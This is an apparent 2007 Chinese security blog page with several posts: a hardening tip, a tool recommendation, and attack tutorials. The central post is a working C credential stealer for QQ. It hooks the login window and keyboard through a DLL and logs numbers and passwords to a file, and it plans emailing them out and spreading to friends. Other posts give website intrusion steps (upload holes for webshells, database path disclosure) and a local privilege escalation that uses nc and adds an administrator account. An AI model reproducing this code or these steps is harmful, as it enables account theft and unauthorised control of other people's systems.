  ICMP攻击:ICMP的风暴攻击和碎片攻击也是NT主机比较头疼的攻击方法,其实应付的方法也很简单,Windows2000自带一个Routing & Remote Access工具,这个工具初具路由器的雏形(微软真是的,什么都要做?听说最近又要做防火墙了)在这个工具中,我们可以轻易的定义输入输出包过滤器,例如,设定输入ICMP代码255丢弃就表示丢弃所有的外来ICMP报文(让你炸?我丢、丢、丢) 

  四、 需要注意的一些事 

  实际上,安全和应用在很多时候是矛盾的,因此,你需要在其中找到平衡点,毕竟服务器是给用户用而不是做OPEN HACK的,如果安全原则妨碍了系统应用,那么这个安全原则也不是一个好的原则。 

  网络安全是一项系统工程,它不仅有空间的跨度,还有时间的跨度。很多朋友(包括部分系统管理员)认为进行了安全配置的主机就是安全的,其实这其中有个误区:我们只能说一台主机在一定的情况一定的时间上是安全的,随着网络结构的变化、新的漏洞的发现,管理员/用户的操作,主机的安全状况是随时随地变化着的,只有让安全意识和安全制度贯穿整个过程才能做到真正的安全。


标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.02.09 12:08:56 晴
 保护电脑 远离AutoRun.INF [原]  
我看了看,软件不错,只是前一段已经介绍过类似软件了,而且最近同类软件也比较多,所以我就在BLOG里面推荐给大家吧。
————————————偶是黄金分割线————————————
系统安全助手 1.5
(软件主界面)
(软件在系统托盘上的图标)
系统安全助手可以完全清除 RavMone、Rose、Fun.xls、熊猫烧香 等通过U盘传播的Autorun病毒,并且可以完美解决双击无法打开磁盘的问题,还可以对系统实行主动防御,自动检测清除插入U盘内的病毒,使你的系统对U盘内的病毒完全免疫!系统安全助手为解决Autorun问题提供了完整的解决方案。最新版本还可以解除U盘锁定状态,解决拔出时无法停止设备的问题! 
————————————偶是黄金分割线————————————
我试了一下,感觉不错,现在很多人的U盘都会到处插,搞不好哪天就中了毒了,比如我前一段去冲数码照片,只是把U盘在数码冲印店用了一下,就中了毒,好在用的是TC,不然可能也会中毒了。这款软件不仅能够杀毒,还可具有实时监控的功能,另外解决U盘的锁定状态,也是非常不错的功能。
具体的杀毒功能没有测试,不知如何,不做评价了,不过看介绍,最近流行的病毒都包括了,只是变种应该是杀不掉的。你可能会问为什么既然有杀毒软件了,为什么还要这样一款软件呢?在我看来,由于杀毒软件比较大,功能比较多,查杀比较细致,有时可能病毒已经发作了,杀毒软件才反应过来。这类软件功能单一,杀毒较快,可以在病毒高发期暂时用一段时间,能够更好的保护你的电脑,当然主要是MM的电脑。
有需要的自取吧~~~~
下载地址:::URL::http://www.newhua.com/soft/34934.htm
软件主页:http://www.easysofts.com.cn/
标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.01.30 13:46:52 晴
 QQ用户小心!C语言实现QQ密码大盗 [原]  
一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分来说明这个整个过程: 

  (1)寻找QQ登陆界面。 

  (2)安装钩子 

  (3)钩子函数的解释. 

  (4)处理密码。 

  以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问! 

  寻找QQ登陆界面 

  软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码: 

#define ID_MYTIMER 555 
SetTimer(hDlg, ID_MYTIMER, 1000, NULL); 

  安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量. 

//处理WM_TIMER代码 

if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄 

 HWND hLogin=NULL; 
 g_hQQLogin = NULL; 
 SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄 
 do 
 { 
  //利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN 
  g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770 
  //找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽 
  hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败! 
 } 

 while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口 
  if (g_hQQLogin != NULL) 
  { 
   SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二部分中介绍 
  } 
 } 

  上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”,其中包含了回车键等特殊字符,于是我用了FindWindowEx(). 

  安装钩子 

  找到了QQ登陆窗口后,就成功了一半。 

  下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中! 

BOOL WINAPI SetQQHook(HWND hQQLogin) 

 //获得登陆框的句柄 

 BOOL bRet = FALSE; 
 if (hQQLogin != NULL) 
 { 
  DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN 
  g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄 
  g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄 
  if (g_hNum == NULL) 
  { 
   MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0); 
   return FALSE; 
  } 
  if(g_hPsw==NULL) 
  { 
   MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0); 
   return FALSE; 
  } 


  分别键盘HOOK,和界面部分消息处理的HOOK 

g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); 
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); 
bRet = (g_hProc != NULL) & (g_hKey != NULL); 

else 

 // 卸载钩子 

 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey); 
 g_hProc = NULL; 
 g_hKey = NULL; 
 g_hNum = NULL; 

return bRet; 




  上面是安装HOOK部分的代码,就这么简单,上面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部分要解释的钩子函数
钩子函数的解释 

  CallWndProc,KeyboardProc是两个回调函数的原型和具体代码如下: 

// 钩子过程,监视“登陆”的命令消息 

LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) 

 CWPSTRUCT *p = (CWPSTRUCT *)lParam; 

 // 捕获“登陆”按钮 

 if (p->message == WM_COMMAND && p->wParam ==16032) 
  //下面个函数是我在第四部分介绍-“处理密码”部分会仔细说明 
  //当用户点了登陆按钮,说明QQ号码和QQ密码已经填写完毕,当然可以去获得密码了 

  GetPasswrod(); 
  return CallNextHookEx(g_hProc, nCode, wParam, lParam); 


// 键盘钩子过程,监视“登陆”的热键消息 

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 

 // 捕获热键消息,记录键盘的按键盘过程,pmsg是PMSG类型的,i是全局Static类型的 
 pmsg[i].wParam =wParam; 
 i++; 
 if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆,用户用了回车后,就可以可以去获得密码了 
  GetPasswrod(); 
  return CallNextHookEx(g_hKey, nCode, wParam, lParam); 



  在明白了这两个钩子函数后就可以看后期是如何具体处理密码的了,这就是下面的第四部分内容 

  处理密码 

  如果您读到了此处,我想得暂停一会,先让我来帮你回忆一下前面提到的几个关键的变量 

  第一个:QQ号的子窗口句柄 g_hNum 

  第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面 

  第三个:存键盘按键的 pmsg 

  上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量 

  QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息 

void GetPasswrod() 

 //声明变量和初始化 

 HANDLE f; 
 TCHAR num[13]; 
 TCHAR psw[21]; 
 TCHAR total[50]; 
 int j; 
 memset(num,0,sizeof(num)); 
 memset(total,0,sizeof(total)); 
 memset(psw,0,sizeof(psw)); 
 DWORD dw; 
 //得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的 
 GetWindowText(g_hNum,(LPSTR)num,sizeof(num)); 
 //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码 
 //提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码 
 for(j=0;j<20;j++) 
 { 
  psw[j]=(TCHAR)pmsg[j*2].wParam ; 
 } 
 psw[j+1]=’\0’; 

 //把QQ号码和QQ密码写入C盘password.txt中 

f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 

 strcat(total,"号码"); 
 strcat(total,num); 
 strcat(total,"密码:"); 
 strcat(total,psw); 
 WriteFile(f,&total,sizeof(total),&dw,NULL); 
 CloseHandle(f); 


  最后在C盘password.txt也许会出现这样两种情况: 

  1)当QQ号是没有用输入,而已用的粘贴或者是电脑以前有记录则是:号码:21728812密码:TEST 

  2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是: 号码:21728812密码:21728812TEST 

  可以看出,第2种情况把QQ当成了密码了,所以密码还得减去QQ号, 

  特别说明:我这样直接处理wParam参数,得到的字符密码全是大写的,具体大小写问题我没有就没有仔细去处理的,功能实现就行了,毕竟我使用他不用来盗密码的! 

  上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量,没有提到的函数如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,详细使用说明请查MSDN(::URL::http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,也许有的地方我说的钩子函数,而另外一个地方说的是HOOK函数 

  特别说明:上面有具体的运行文件,由于小弟并没有考虑到更多细节,我只是用了“理想”状况下去获得密码,并且或的密码后并没有注重后期密码处理,也许出现密码大小写不符合或是无法得到密码,请大家千万别笑话,我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理,和希望和大侠们交流 ! 

  后期如果有必要的话,我准备进行改版,按照“真正”的QQ“木马”来写,如:对QQ版本进行识别,密码自动发送到E-MAIL,加入QQ尾巴代码,使其自动传给好友的等功能!

标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.01.21 13:19:22 晴
 网站攻与防:五招常用网站入侵 [原]  
     首先介绍下什么样的站点可以入侵:必须是动态的网站 比如 asp php jsp 这种形式的站点 后缀为.htm的站点劝大家还是不要入侵了吧(入侵几率几乎为0)

  入侵介绍: 1。上传漏洞 2。暴库 3。注入 4。旁注 5。COOKIE诈骗

  1:上传漏洞,这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。

  怎样利用:在网站的地址栏中网址后加上/upfile.asp如果显示 上传格式不正确[重新上传] 这样的字样8成就是有长传漏洞了找个可以上传的工具直接可以得到WEBSHELL

  工具介绍:上传工具 老兵的上传工具 DOMAIN3.5 这两个软件都可以达到上传的目的 用NC也可以提交

  WEBSHELL是什么:WEBSHELL在上节课简单的介绍了下,许多人都不理解,这里就详细讲下,其实WEBSHELL并不什么深奥的东西,是个WEB的权限,可以管理WEB,修改主页内容等权限,但是并没有什么特别高的权限,(这个看管理员的设置了)一般修改别人主页大多都需要这个权限,接触过WEB木马的朋友可能知道(比如老兵的站长助手就是WEB木马 海阳2006也是 WEB木马)我们上传漏洞最终传的就是这个东西,有时碰到权限设置不好的服务器可以通过WEBSHELL得到最高权限。

  2。暴库:这个漏洞现在很少见了,但是还有许多站点有这个漏洞可以利用,暴库就是提交字符得到数据库文件,得到了数据库文件我们就直接有了站点的前台或者后台的权限了。

  暴库方法:比如一个站的地址为 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 我门就可以把com/dispbbs中间的/换成%5c 如果有漏洞直接得到数据库的绝对路径 用寻雷什么的下载下来就可以了 还有种方法就是利用默认的数据库路径 http://www.xxx.com/ 后面加上 conn.asp 如果没有修改默认的数据库路径也可以得到数据库的路径(注意:这里的/也要换成%5c)

  为什么换成%5c:因为在ASCII码里/等于%5c,有时碰到数据库名字为/#abc.mdb的为什么下不了? 这里需要把#号换成%23就可以下载了,为什么我暴出的数据库文件是以。ASP结尾的?我该怎么办?这里可以在下载时把。ASP换成。MDB 这样就可以下载了如果还下载不了可能作了防下载。

  3。注入漏洞:这个漏洞是

标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.01.07 20:59:44 晴
 入侵技巧:通过“鼠洞”控制你的计算机  
没有任何一台电脑是安全的,没有一条安全防线是无法攻破的。我们要做的就是利用一切资源进行入侵。在这里你可以看到最激动人心的入侵实录,可以学到最实用的入侵技巧。这里是所有入侵爱好者的乐园。但是记住哟,入侵是为了更好地防御。网络安全需要我们大家来维护。 
  通过“鼠洞”控制你的电脑

  夜黑风高,一个黑色的身影窜入了一间电脑机房。熟练地打开了一台保存有重要数据   
的电脑。可是这个电脑里面的数据已经进行了加密,要获得这些数据必须是管理员账户才行。黑影不屑地笑了笑,利用一个已知的普通权限账户进入系统。在Microsoft Windows键盘事件权限提升漏洞的“帮助”下,轻松获得管理员权限盗得数据。随后离开机房,身影隐入无边黑暗中。

  发现新漏洞

  因为设计缺陷,Windows桌面应用程序处理通过keybd_event() function函数发送的键盘事件时存在溢出错误,攻击者可以通过向以更高权限运行的桌面应用程序(如explorer.exe)发送恶意的键盘事件,使用管理员权限执行任意代码。这一漏洞可以使一个普通用户权限的账户使用管理员权限对系统进行任意操作。该漏洞影响的系统:Windows 2000,Windows XP,Windows2003。

准备好入侵工具

  pulist:一款进程PID查看器,可以在命令提示符下查看当前系统进程的PID值。

  keybd:键盘事件权限提升漏洞的溢出工具,通过它可以取得系统管理员权限。

  nc:黑客入侵的“瑞士军刀”,系统端口监听利器,功能相当强大。

  以上工具下载地址:::URL::http://www.nl297.com/cpcw/keybd.rar

   入侵过程 


  一、获得进程PID值

  根据漏洞特点,我们需要获取一个桌面应用程序(如explorer.exe)的进程PID值。在系统的“任务管理器”中,我们是看不到进程的PID值的,所以我们需要借助一款可以查看系统进程PID值的小工具——pulist。在“命令提示符”中运行“pulist.exe”,即可显示当前系统进程的PID值,我们在其中找到“explorer.exe”进程的PID,这里是“1716”(如图)。


进程

  小知识:进程的PID值指的是代表各进程的ID值。PID就是对各进程的身份标志,每个进程都有自己唯一的PID值。

  二、提升账户权限

  信息收集完毕,我们使用一个名为“888”的普通用户权限账户进行漏洞测试。我们运行“命令提示符”,输入“runas /user:888 cmd.exe”这个命令的意思是以用户“888”的权限运行一个命令提示符窗口,回车后系统会出现一个新的命令提示符窗口,其窗口标题为“cmd.exe(运行为888)”。这个命令提示符中我们的权限只是普通用户级别的,很多操作不能进行,例如添加删除用户等。当试图用该账户进行用户的添加删除操作时将会出现错误。

  将下载回来的漏洞利用程序keybd解压到某个目录中,例如“c:\”。此外我们还要用到远程监听工具nc,将它与keybd放在同一目录中。在命令提示符中进入keybd所在的文件夹,输入命令 “keybd.exe 1716”。回车,这时系统会跳出一个新的命令提示符窗口,表示keybd.exe已经溢出成功。

  小提示:溢出时要保证系统的默认输入法为“英文”,否则将会使溢出失败。

  溢出成功后,就该nc出马了。在命令提示符中进入nc所在的目录,然后输入“nc -vv localhost 65535”,回车后便出现了欢迎界面。这表示888账户已经获得管理员权限。我们接着输入“net user piao 123456 /add”新建一个账户名为piao,密码为123456的用户。然后输入“net localgroup administrators piao /add”,将账户piao加入系统的管理员组。这两个只有管理员权限才可以执行的命令都可以成功完成,入侵成功。

  小提示:我们获取的管理员权限依赖于执行“keybd.exe”后弹出的命令提示符窗口,如果把这个弹出的命令提示符窗口关闭,以888账户运行的命令提示符会立刻回到普通用户权限,所以在执行命令的时候一定不可以将之关闭。

  危害虽小,仍须防范

  由于该漏洞是因为本地系统设计上的缺陷造成的,所以只能用于本地用户的权限提升,而且必须是本地登录的用户。但是不管漏洞如何之小,存在肯定会对系统造成严重的安全隐患,我们还是要修复漏洞,以防别有用心之人。

标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
  最 新 日 志
  我 的 相 册
  历 史 档 案
  最 新 评 论
访客/2007-12-28
你好。我是53KF....
  友 情 链 接
  我 的 LOGO
  Powered By Blogcn.com